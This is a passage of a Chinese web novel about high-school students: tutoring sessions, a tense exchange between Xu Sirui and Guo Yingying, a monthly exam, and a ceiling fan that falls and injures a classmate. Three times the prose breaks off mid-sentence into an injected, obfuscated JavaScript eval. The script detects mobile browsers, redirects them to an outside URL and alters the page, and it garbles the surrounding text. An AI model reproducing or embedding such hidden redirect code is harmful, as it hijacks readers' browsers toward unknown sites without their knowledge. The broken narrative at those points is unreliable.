她出生在一个普通但却健康的家庭里,北京独生女,父母都是本科生,学历不算高知,却刚好够他们养育女儿。有父母的教诲在前,郭莹颖从小走的都是康庄大道,虽然由于出色的外表拍过不少广告,也见识过形形色色的人,其中不乏早早辍学的小混混,但她本性清高,瞧不上没有本事只有中二的男生,她来往的男生,颜值、智商、个性缺一不可,无论是人品有限的冯达还是脾气有限的许思睿都恰好符合她的要求。她对学习始终保持着不感兴趣但会尽量维持中游成绩的态度,上课会尽量听讲,课后却不怎么复习。 这是她第一次和不符合她交际要求的男生一起学习,也是她第一次在下课后对学习投以这么高的专注度。 两个小时结束,郭莹颖都快忘了自己此行是来干什么的了,只觉得太阳穴学得一片昏胀。 “休息一下吧,吃点东西喝点水。”祝婴宁啪地合上练习册。 得她赦令,孙明远哀嚎一声,行尸走肉般扑去厨房,给所有人都倒了水。 把水杯递给郭莹颖后,他想找她聊天,可惜郭莹颖不愿搭理他,她捧着水杯,看向对面低头划拉手机的许思睿,斟酌着说:“思睿,你还打算去工作室吗?老大跟我打听过很多次你的下落。” 也不知道是没听见还是故意的,许思睿没回答,甚至连头都没抬。 孙明远在茶几下踹了他一脚,他才收起手机,漫不经心地掀起眼皮,答:“不去。” “哦……这样啊。”他冷淡的态度让郭莹颖非常尴尬,握紧水杯,越尴尬越想要找话题缓和一下,于是继续说,“他真的挺喜欢你的,上次说好的那个运动饮料,你没有去拍,他虽然生气,但也一直觉得可惜,托我转告你,要是有空还可以去他那,他认识的一家淘宝服装店恰好缺个男装模特……” 许思睿面无表情听完,什么话也没说,只是不耐地扯了扯嘴角。 眼见着郭莹颖眼圈都红了,手也在抖,孙明远赶紧接话:“哎哟,找许思睿干嘛,他也就脸能看了!我相信你们老大不是那种肤浅的人,这样吧,你看我成不?我高低算个东城彭于晏,人品也杠杠的,你们老大找我绝对不亏。” 郭莹颖勉强笑了笑,吴波也笑:“你这是谁封的东城彭于晏啊,自封的?” “你怎么知道?” “滚呐,我还说我是刘亦菲呢。” 气氛在他们一来一回的斗嘴中缓和了一些,然而许思睿就像是存心不让所有人好过一样,忽然从凳子上站起来,弄出了很大的动静,谁也没看,径自去了厨房。 郭莹颖才刚缓和过来的脸色再度苍白起来,几秒后,两滴泪突然从眼眶里滚出。 这一哭把大家都吓着了,孙明远气得不行,想跟过去找许思睿理论几句,祝婴宁却给了他一个眼神,示意他留在这安慰郭莹颖,她过去就好。 厨房里,许思睿拉开冰箱,从冷藏层找出罐冰可乐,把拉扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祝婴宁原本理直气壮,觉得自己百分百占理,被他这么一问,这才隐隐察觉到自己的行为确实有些逾矩。她让郭莹颖进来,一方面是觉得大冷天的把人晾在外面挨冻很没人情味儿,一方面是希望许思睿能借此知道他班上的同学并不都是冯达那种态度,也有郭莹颖这样的人愿意继续和他做朋友。但是,不管怎么说,郭莹颖都是他的朋友,而非她的朋友,怎么对待这段友谊是他的选择,她不应强硬干涉太多,而且这是他家,邀请人进来得经过他的同意,而非她单方面先斩后奏。 许思睿见她突然两眼放空发起了呆,忍不住凶巴巴道:“我跟你说话你还走神?” 祝婴宁回过神:“没有。” “还说没有?!”他莫名在这个地方钻起牛角尖,“你刚刚眼睛都放空了。” “我只是在思考而已。” “思考什么?” “思考你的话……你说得对,许思睿,我确实有做得不好的地方。”她抬眼看向他,“我应该先问过你再做决定的,而不是完全无视你的想法和感受,抱歉。” “靠。”许思睿这人典型的吃软不吃硬,谁呛他,他越发想呛回去,但只要对方稍微服软,他就会掉头反思自己,祝婴宁一道歉,他瞬间觉得自己太该死了,而且斤斤计较得不像个男人。 “你干嘛这样?”他无理取闹道,“你就不能坚持自己的意见,再多骂我几句吗?” “?” 祝婴宁谨慎地评价,“你的要求很奇怪。” “……” “还有,你能不能放开我的手?” 被她这么一提醒,他才发现自己自始至终都抓着她的手指,脸一红,赶忙把手松开。 然而松是松开了,她手指的热度却仿佛还烙在他掌心一样,他脑子晕晕的,以至于后来祝婴宁温声对他说:“你也跟郭莹颖道个歉,好不好?她大老远跑来看你,别让她伤着心回去。”他没怎么反抗就答应了。 答应完跟在她身后走回客厅,才发觉自己竟再次落入她的陷阱。那个可怕的定理又应验了——只要是她想做的事,想达成的效果,最后果然都能达成,没有人可以逃脱她的定律。 客厅茶几旁,郭莹颖已经止住了哭泣,手指攥着被眼泪濡湿的纸巾,尴尬得头都抬不起来。 见祝婴宁和许思睿出来,她起了起身,抓过自己放在一旁的墨镜、口罩和帽子,含糊地说:“我先回去了。” “不行!”祝婴宁率先出声阻止。 郭莹颖抬起头,以为她会说些挽留或者安慰她的话,结果她说:“还没学习完呢。” “……” 郭莹颖的嘴角抽搐几下,“我……就不用再学了吧。” “再学一会儿吧。”许思睿在一旁出声了。 他突如其来的挽留让郭莹颖震惊不已,旁边的孙明远也大受惊吓,伸手去探他的额头,嘴里还念念有词“鬼爷爷,还请从许思睿身上下来,他虽然不是个好东西,但怎么说也是我兄弟”。许思睿不耐烦地拍开他的手,用完成任务般的速度飞快道:“刚刚是我态度不好,不是你的问题,抱歉。”最后两个字说得格外快速和小声。 孙明远吓得魂飞魄散,看向祝婴宁,大叫:“完了!我觉得咱真得请个大师。” “滚。”许思睿推开他的脑壳。 郭莹颖拽紧自己的东西,一时走也不是,不走也不是,邹皓出于礼貌说了句:“来都来了,学完再走吧。”他指向祝婴宁,“这位期中考全级21,再努努力下次月考估计就前20了,珍惜学霸提供的补课机会啊,同学。” 吴波见大家都说了,自己要是再不开口,显得很不合群似的,于是也含糊附和了一句:“是啊是啊。” 郭莹颖松了口气,这才顺理成章留了下来。 83. 粘人 补课结束,大家先后打道回府。 郭莹颖的家凑巧和孙明远、邹皓同个方向,两个男生和她结伴离开。吴波的家在反方向,由于秋分以来天黑得越来越早,怕她独自一人走夜路去搭地铁不安全,祝婴宁每次都会和许思睿一起送她到地铁站。 许思睿不参与女生聊天,自己走在后排。吴波往常都会找祝婴宁叽叽喳喳,今日却难得安静,垂头看着人行道地面,时不时踢一脚落叶,把枯黄的落叶一片片踩碎,像是有什么心事,祝婴宁偏头看她一眼,又看她一眼,忍不住问:“怎么了?” 吴波这才如梦初醒,习惯性先否认:“没什么。”过了几秒,清清嗓子,小声说,“只是……有个小问题想问你。” “你说。” 她的镇定让吴波逐渐有了倾诉欲,却也越发感到难为情,拿余光偷瞄许思睿,确保他离她们有一段足够远的距离,不会听到她们讲话,才犹犹豫豫地说:“就是,那个……我只是想知道,你和许思睿他们在一起的时候……不会感到自卑吗?” 她没料到是这个问题,但仔细一想,又觉合情合理:“我觉得也不能算自卑吧,但一开始确实有种身处不同世界的感觉……” “对对,对对对!还是你懂我。”吴波疯狂点头附和,“就是这种感觉!” “不过,现在我已经不会这么想了。”她笑了笑,“只要坦诚地与对方相处,就会发现大家都是一样的人。不管是你,我,还是许思睿他们,我们都是一样的人。” 最后一句话,祝婴宁说得认真,然而这段安慰听在吴波耳里未免有些假大空,她点到一半的头颅卡住,犹如发条生锈的机器,脸上表情也从被理解的激动和欣喜跌为深切的失望。 “哪儿一样了?完全不一样好吗。”吴波叹了口气,低声埋怨,“单论长相就有云泥之别。你看郭莹颖,她今天刚来,而且是冲着许思睿来的,明眼人都看得出她喜欢谁,结果孙明远还不是对她那么热情?一个劲儿热脸贴冷屁股,我看了都替他尴尬,可人家完全不care。连咱班长这种貌似只对学习感兴趣的人,刚不也主动提出要送郭莹颖回家?当美女就是好啊,不像咱们这种普女……” 说到最后,才意识到自己嘴快把祝婴宁也归类到了普女的行列,吓得一下子清醒了,怕她介意,连忙慌慌张张找补,“哎,我不是那个意思,我主要是在说我自己……” “没事。”祝婴宁说,“确实没人夸过我漂亮。” 吴波再次深有同感,捉住她的手臂摇晃:“是吧?是吧?!我就知道你能理解我。像我们这种普普通通的女生最惨了,我前几天看杂志,上面说青春期女生平均都被一个异性表白过,屁咧!难道我不是青春期女生?我怎么没被男的表白过?唉……像郭莹颖这么好看的人,估计就有一堆人追求吧,就算那个平均值是真的,那也是被美女们拉高的,好比我家的收入和马云的收入一平均也能上个福布斯榜。实际上?呵呵。” 说完,她又禁不住八卦地打听,“对了婴宁,你呢?你被男生告白过吗?” 以前在山里读书时,班上女生也会讨论这些话题,但祝婴宁从不参与,因为她太忙了,不是忙着收发作业,就是忙着解决班里出现的各种突发状况,亦或忙着学习,可是现在身边只有吴波,她们走在路上,除了行走之外不需要考虑任何事,以至于祝婴宁不得不被动参与到这种话题中来。她想了想,诚实道:“没有。” 得到这个答案,吴波既松了口气,觉得有人和自己同病相怜能显得自己不是太惨,又有些可惜。她虽然急于拉一个朋友“下水”,以此安慰自己,证明青春期没有得到过男生告白是正常的,却也觉得祝婴宁是个好人,很好的人——连她这么好的人都没被异性告白过,可见男人确实都是肤浅的视觉动物,可气,可恨! 吴波越想越觉得忿忿不平,越想越觉得男的都不是什么好东西,连带着看身后的许思睿也不顺眼起来。 许思睿原本走得好好的,忽然感觉到前头吴波回头剜了他一眼,眼神愤恨,弄得他一头雾水,待要仔细去看,吴波却已经把头甩回去了,仿佛刚刚那带着敌意的一眼只是他的臆想。 祝婴宁思索着,试图安慰吴波:“孙明远对待漂亮女生是比较浮夸,但如果今天是你或者是我被许思睿凶,他肯定也会替我们出头。他这人其实带点儿贾宝玉精神的。” 吴波没说话,撅着嘴,又踩碎了脚底一片枯叶。 祝婴宁挖空心思想着别的安慰的语言,可惜在这方面经验有限,想了半天,只憋出一句:“皮囊是身外之物,你也有很多优点呀。” 吴波看她一眼,深深叹了口气。 她听出祝婴宁绞尽脑汁想要开解她,可这不是她期待的开解。她想听的并非“你有别的优点”,而是“你长得哪里普通了?你明明很美”。 ** 第二次月考的时间逐渐逼近,许思睿的班主任特意来祝婴宁班上找了她一趟,问她许思睿有没有打算参加考试:“你劝劝他,让他好歹过来考一考,考成什么样先不说,起码别连考场都不来了。” 祝婴宁点头应了,回家把这件事和他一讲,省去老师要她劝他的那部分,只问:“你打算去吗?” 他倒是接话接得飞快:“随便。” 祝婴宁察言观色,细致解析他的表情,见他的表情扭捏中含着一种刻意营造的不以为意,于是试探着问:“那我跟你老师说你打算去了?” 许思睿还是答:“随便。” ** 月考当天,祝婴宁洗漱完毕,出来一看,许思睿竟然也收拾利索了,难得背着他那个聊胜于无的瘪瘪的书包靠在玄关处等她,宽肩长腿往那一戳,还挺气派。 同行去学校的路上,她始终默默留意他,想知道他此刻的淡定究竟是装出来的还是真的对学校的流言蜚语无所谓了。 自以为不动声色地观察了他一路,地铁快到站时,许思睿终于没忍住啧了一声,挑起眉梢,朝她斜斜飞来一个眼神,问:“看够了没?你是暗恋我还是有斜视?” 偷窥被抓包,祝婴宁一惊,但很快沉静下来,用那句万金油回答搪塞他:“你不看我又怎么知道我在看你?” “因为我有脑子。”许思睿用下巴指了指他们对面那块光可鉴人的车窗玻璃。 “……” 能嘴贱,说明心理状态健康,祝婴宁乐观地想。 到了学校,也许是将要考试大家都精神紧绷的缘故,没人对许思睿格外关注,就算看到他,也只是多看个一两秒就匆匆忙忙走了。祝婴宁明显感觉到许思睿走入校园后就微微紧绷的腰背逐渐放松下来,整个人从如临大敌的状态恢复成那副懒懒散散睡不醒的模样。 爬到楼梯的分岔口,她不放心地交代道:“来都来了,记得好好考完……” 许思睿没想到她居然能把“来都来了”用在考试上,这算什么,来都来了,不如考个试?他哼了一声,不置可否。 上午的考试安排得紧,连考两科,语文和物理。真正坐到考场上,祝婴宁便没功夫再去关心许思睿有没有好好考试了,她握着笔杆答得认真。等到中午放学铃声响起,考卷都收上去了,她才长长地呼出一口气,靠在椅背上捶打酸涩的肩颈。 吴波跑来找她,激动得手抖腿也抖,两包泪窝在眼眶里打转:“我天哪,这次物理考试我居然做完了!我居然做完了!” 物理是吴波的天敌,她对该科目痛恨不已,因为——很不幸,她爸爸是个初中物理老师。由于自己物理很好,便对女儿的物理抱有过高的期待,可吴波别说擅长了,她以前考试连题目都看不完,每回回家都得被她爸念叨一顿,什么“你怎么完全没遗传到你爸的优秀基因”啦,什么“你的逻辑思维能力一塌糊涂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876648|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”啦。 “先别管做得对不对,反正这次我做完了。”吴波把祝婴宁从椅子上拎起来,一脸要给她磕头的表情,“你就是我的再生父母!妈妈——” “……吴波,你冷静点儿。”祝婴宁哭笑不得。 忘乎所以地感慨了一番,吴波才想起下午还有其他考试,忙挽住祝婴宁的胳膊:“咱先去进食吧。” “好,邹皓呢?”平时邹皓也会随她们一起去食堂,祝婴宁便随口问了句。 吴波鼻孔朝天,下巴朝教室对角线的方向扬了扬,语气不满:“那呢。” 按照吴波的理论,世界上只分为两种学生,一种是考试后坚决不肯校对答案的,一种是考试后恨不得立马把答案对个遍的,她是前者,而邹皓自然是后者。他在学习上的功利心于此处发挥得淋漓尽致,虽然和祝婴宁关系更好,补课也全仰仗她的付出,但考完试,必然先跑去找稳居年级第一的谭菁菁,在她那对完了他不确定的题目,才会转而拿祝婴宁的答案作为辅助性补充。 吴波相当不耻他的这种行径,每回看到都要大骂一声叛徒。 “我们先走吧,别理他了。”她在祝婴宁耳边吹起枕边风。 两人正打算走,邹皓就像背后长眼睛似的追了上来,无视吴波鄙夷的神色,问祝婴宁:“语文那道病句的选择题你选B还是D?还有物理最后那道大题,你算出来的答案是什么?” 祝婴宁对叛不叛徒的行径完全无所谓,回忆了一下,说:“语文我选的是B,物理最后那道大题我算出来是1.7s。” 三人并排着朝外走,邹皓冷静到近乎冷酷地分析:“语文你和谭菁菁都选B,估计是B没跑了,物理谭菁菁算出来是2.4s,我更倾向她的答案,你算最后那道题的时候是不是忘了把小球去程的时间加上去?” “啊,还真是。”祝婴宁恍然大悟。 吴波苦着脸捂着耳朵,不想听这两人说些刺激她心脏的东西。 走到走廊尽头靠近楼梯的地方,他们正要下去,祝婴宁一抬头,却看到有个人等在那里。 “……许思睿?”她惊讶地看着他。 他故作自然地哦了一声,从墙上直起身,仿佛刚刚发现他们,漫不经心道:“你们要去吃饭?真巧。”生硬地停顿了一会儿,又说,“既然碰巧遇见了,那就一起过去吧。” 祝婴宁&邹皓&吴波:“……” 这“碰巧”未免也太刻意了。 邹皓和吴波还没同许思睿熟到能吐槽他的地步,只好眼观鼻鼻观心,假装没有发现他是故意等在这的,唯一熟得能吐槽他的祝婴宁看着他淡漠的神色和与之截然相反的熟红的耳根,没忍心揭穿他,沉默几秒,说:“那……走吧。” 由于四个人并排会堵住整个楼梯,他们自然自然分裂成了两两一排,祝婴宁和许思睿走在一起。 行至通往食堂的林荫道上,风从他们并排行走的夹隙间吹过,她在这阵凉风里回忆起周天晴和自己说过的话。 那天周天晴来找许思睿未果,临走之前对她说:“婴宁,小姨麻烦你一件事,可以吗?” 她呆呆地点了点头。 “睿睿这人其实粘人得很,也很怕寂寞,要是他来粘你,你不要拒绝他,好吗?” 虽然出于责任心同意了,但当时她想的是,许思睿粘人吗?而且,他怎么可能来粘她? 她印象里的许思睿——尤其是在山里录制综艺那段时间——总是独来独往,不主动和任何同学打交道,在她家也不喜与她和刘桂芳同出同进,捧一本书就能从天亮坐到天黑,常独自蹲在村口那块大石头上,看书或者抽烟,矛盾地扮演他的独行者。 直到现在,她才感受到这股微妙的粘人。 风还在吹拂,撼动干枯的树,卷起地上的尘土。 她轻轻笑了笑,任由风带起她耳鬓的发丝。 84. 手无缚鸡之力 坚持考完两天的月考,许思睿立马又龟缩回壳了,任由班主任费尽口舌也不愿去学校。 祝婴宁没有劝他,甚至躲着他走,因为她这两天在瞒着他干坏事——周天晴打算去监狱探望周天澜,她得找个机会把信件交给她。 时间约在周日中午,周天晴贴心地来到了她所在的百货大楼,就近寻了家餐厅请她吃饭。饭桌上也不过问许思睿的情况,只单纯关心她最近这段时间过得怎么样,还习惯吗,有任何困难都可以随时打电话找她帮忙。她声音好听,带点播音腔,说话语速不疾不徐,始终挂着甜蜜亲切的笑,祝婴宁被她哄得昏头昏脑,以至于午饭结束后,连自己书包里什么时候多了两个鼓鼓囊囊的红包都不知道。 想跑回去还给周天晴,人家已经开车离开了。 按照祝婴宁的性格,这笔零花钱她不仅不会用,后续还会另寻机会还给周天晴,可周天晴像是料准了她不会用一样,当晚特意打了个电话过来,说那笔钱是感谢她给许思睿补课的。 “要是没有你,他这次考试估计连去都不去了,这钱就当是他的学费和你的辛苦费,婴宁,你要是不收,就是让我难做,存心害我良心不安。我不管!我以后晚上都要睡不着了。” 撒娇赖皮的模样和中午那副温柔大姐姐的模样大相径庭,她哭笑不得,毫无办法,只好收下了。 周天晴出手大方,一给就给了两千,祝婴宁拆出来数了一下,越数,心脏愈感受惊过度,跳得不太舒服。可现在再打电话过去说不要,实在拖泥带水,黏糊得叫人恶心,她叹了口气,先留了一千,打算等许思睿生日时给他买礼物,这样的话这钱也算回流向周天晴的家人了,另外一千,她全部寄回了山里老家。 过完周末,周一去上学时,她先去许思睿班主任那问了他的成绩。老师把排名表拿给她,她看到上面的全级六十三名,觉得这名次还算正常,松了口气,道过谢便离开了。 回到自己的班级,早读正待开始,领读的同学站在讲台上无力地维持着纪律。 由于今天能够得知成绩,班上学生都很躁动,任凭带读的同学在讲台上喊得身心俱疲,也没几个人听话拿出课本,大家全在和前后桌攀谈,教室里嗡嗡的像是进了一群蜜蜂。郑泽楷甚至拿了个不知道从哪里找来的篮球,对着教室后排的墙壁练习投篮。 此番乱象,换成以前,祝婴宁肯定要出面管一管的,但她现在不是班长,名不正言不顺,只能坐在座位上徒劳地翻着课本。至于邹皓,他丢下一班同学,自个儿去老师办公室提前打探成绩了,不在班里。 其他班级陆陆续续响起了朗朗读书声,只有他们班还混乱一团,巡逻的教导主任走到这,大怒,从前门踱进来,屈起指关节使劲敲了敲门板,高声问:“怎么回事?!你们这个班怎么回事啊?!还早不早读了?眼里有没有纪律了?都给我安静!” 这才偃旗息鼓。 大家接连低下头,尽量避免和教导主任进行眼神接触,免得被当成活靶子,只有后排的郑泽楷还在不怕死地拍他的篮球。篮球和地面撞击,咚咚咚的声音响彻寂静的教室。 “你!最后面那个大高个,你还拍?!”教导主任气得声音都变调了,指着郑泽楷道,“把篮球给我拿过来!” 郑泽楷不耐烦地啧了声,目测了一下他和主任之间的距离——对角线,远得很。懒得走过去拿给她,干脆举起篮球,对准主任的方向摆好投篮姿势,把篮球扔了过去。 班上同学纷纷仰起头,像在目送导弹划过天际,瞠目结舌地目送那颗篮球从教室半空中飞过。 站在前门的教导主任更是瞪圆了眼睛,嘴巴张得能吞进鲸鱼。 就在大家以为篮球会以诡异的弧线掉进教导主任臂弯里,缔结出一个足以使后届学生传颂千古的经典画面时,篮球砸到了教室天花板的风扇上,哐啷一声,卡进了扇叶之间。 自夏天开完风扇到现在已经过去好几个月了,风扇上面堆积的灰尘没人清理,被篮球一砸,扑簌簌往下掉,如一场纷纷扬扬的大雪,全部都下在了不幸坐在风扇底下的邵彦君身上。 她那头精心打理的深棕色卷发瞬间变成了渐变色奶奶灰。 “……” 在一片窒息般的沉默中,邵彦君崩溃地尖叫起来。 大家都被接二连三出现的突发状况弄懵了,闻声皆是一颤,坐在邵彦君旁边的祝婴宁也被她的尖叫吓得一哆嗦,正迷茫着,突然听到尖叫声里夹杂着螺丝松动的声音,循着声音望过去,是邵彦君头顶的风扇——受了篮球撞击,固定风扇的螺丝松动了,整个风扇和风扇上的篮球都摇晃起来。 “小心!”她心都提到了嗓子眼,大喊一声,下意识伸手拽了邵彦君一把。 人在激愤时身体比石头还硬,这一拽没能把邵彦君整个人拉过来,只把她的上半身拽过来了,下半身还坐在原位。 紧接着一声沉闷的巨响,头顶的电风扇整个掉了下来,轰隆砸在她们的课桌上,地动山摇,把桌子都砸得滑开了,连带着一起掉落的还有数不尽的墙皮。 祝婴宁紧闭双眼,被墙皮和各种尘土噼里啪啦砸了满脸,半天都睁不开眼睛,也没法呼吸。等墙皮掉完了,班里已经彻底乱成了一锅粥,风扇三米开外的学生全都尖叫着弹开了,她们所在的中心区域变成了一道空阔的银河,河的一侧是挤在讲台上的前排学生,河的另一侧则是挤在教室后面的后排学生,她和邵彦君就像飘在银河中的两叶孤舟。 伸手拂开脸上的墙灰,再把头顶的碎块抖落,她看向撑在她身侧的邵彦君,问:“你没事儿吧?” 邵彦君呆呆地看着她,瞳孔放大,机械地说:“不不知道啊,我感觉腿上热热的……” 这句话一出口,大家全都看向了她的腿。这一看不要紧,别说学生,连教导主任都快吓尿了。 邵彦君的右腿在流血。 扇叶掉下来时划伤了她的大腿,伤口不大,不长,但血液所呈现出来的特殊的暗红色还是让祝婴宁的心沉了沉。 这是划到静脉了。 教导主任立刻拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这声“让开”短促而有力,配合手上的动作,戴以泽毫无防备,弱小无助地被她搡到了地面上,表情惊恐。 祝婴宁上前一步,二话不说,直接将邵彦君打横抱了起来,转身就朝校医院跑,跑的速度不算快,但步伐还算镇定,打着电话的教导主任见状都忘了继续说话。 “卧槽。” 郑泽楷自知闯了祸,原本缩在角落里,生怕其他人留意到他,见了此情此景,却也忍不住惊得爆了句粗口。 人群自动给她让开了一条道,许多同学排成长龙跟在她身后,有几个学生上前几步,帮忙扶稳邵彦君。外头正在早读的其他班级听到了他们班的响动,不断有学生从窗户或者前后门探出头,兴致勃勃地围观和叫嚷。 枯燥乏味的学生生涯,在数不尽的作业和考试中,任何迥异于寻常的变化都会激起大家的兴奋和好奇,无论是好事还是坏事,只要不是常事,都可变成趣事。 在大家或欢快或担忧的喧哗声里,女生公主抱女生的传奇正在生成。